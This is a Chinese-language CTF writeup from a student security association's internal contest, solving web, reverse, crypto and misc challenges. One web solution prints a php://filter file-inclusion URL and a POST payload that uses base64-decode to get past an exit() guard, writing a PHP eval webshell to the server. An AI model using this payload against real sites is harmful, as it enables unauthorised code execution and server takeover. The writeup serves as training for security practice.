信安協會內部賽Writeup

PWN

just_run

nc之後ls,cat flag.txt

2048

利用了bug。。一次輸入很多個wasd用了幾分鐘刷分到了一萬分

WEB

簽到題

GET傳參ais=123,POST傳參ais=123,BP抓包把Referer改成https://www.baidu.com,加上Client-IP: 127.0.0.1

PHP是世界上最好的語言

在url最後加上/index.php,F12發現了提示
在這裏插入圖片描述
考點是文件包含
/index.php?file=php://filter/read=convert.base64-encode/resource=./index.php
在這裏插入圖片描述base64解碼
在這裏插入圖片描述/index.php?file=php://filter/read=convert.base64-encode/resource=./upload.php
在這裏插入圖片描述base64解碼
在這裏插入圖片描述
死亡exit
找到了一篇博客
在這裏插入圖片描述而這道題把?>用//註釋掉了,所以前面要補3個a才能湊成4的倍數
先把一句話木馬用base64編碼
在這裏插入圖片描述
在/upload.php頁面用POST方式構造如下payload,將一句話木馬寫入q.php
death=aaaPD9waHAKZXZhbCgkX1BPU1RbJ3NoZWxsJ10pOwo/Pg==&filename=php://filter/write=convert.base64-decode/resource=q.php
用蟻劍連接http://148.70.205.134:10001/q.php,密碼是shell,在根目錄找到flag

RE

ez_py

在線pyc反編譯,在得到的原py文件最後加上一行print(encode(message))

baby_re

放進ida
在這裏插入圖片描述

點開check函數
在這裏插入圖片描述
可知check函數裏的a1是主函數輸入的字符串v4,是要通過check函數裏的數組v4逆向求得的,而數組v4和數組flag相等,點進flag,因爲是int類型,佔4個字節,所以通過按鍵盤的d鍵把所有的db都轉化爲dd形式
在這裏插入圖片描述
寫個腳本逆向求a1

#include<bits/stdc++.h>
using namespace std;
int main()
{
	unsigned int a=16;
	char a1[30];
	int i;
	unsigned long v4[30]={0x350,0x360,0x308,0x358,0x3F8,0x2B0,0x328,0x318,0x188,0x1A8,0x318,0x2B8,0x180,0x398,0x398,0x398,0x398,0x398,0x398,0x398,0x398,0x398,0x318,0x2B8,0x348,0x368,0x380,0x360,0x328,0x3E8};
	for ( i = 0; i <= 30; ++i )
	{
		v4[i]^=a;
		v4[i]-=16;
		a1[i]=(char)(v4[i]/8);
	}
	for ( i = 0; i <= 30; ++i )
     cout<<a1[i];
	return 0;
}

CRYPTO

base64

在線base64轉換圖片得到壓縮包的解壓密碼

兔老大

在線rabbit解密,密鑰是rabbit,再base32解碼

easy_caesar

寫腳本把每個字符都-3移位,再base64解碼

MISC

Where_am_I

用PS打開圖片,用顏色取樣器工具得到兩塊圖片的RGB值,對應北緯和西經值,進入谷歌地圖搜索
40°41′21″N 74°02′40″W得到地點爲自由女神像

古老的計算機

用winhex或HXD打開圖片,最後有一段這個
在這裏插入圖片描述
在線敲擊碼解密,再寫腳本轉換成二進制01,再在線二進制轉字符串

double_flag

用HXD打開壓縮包,在開頭加上50 4B 03 04,解壓出另一張圖片,用Beyond Compare對比兩張圖片

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章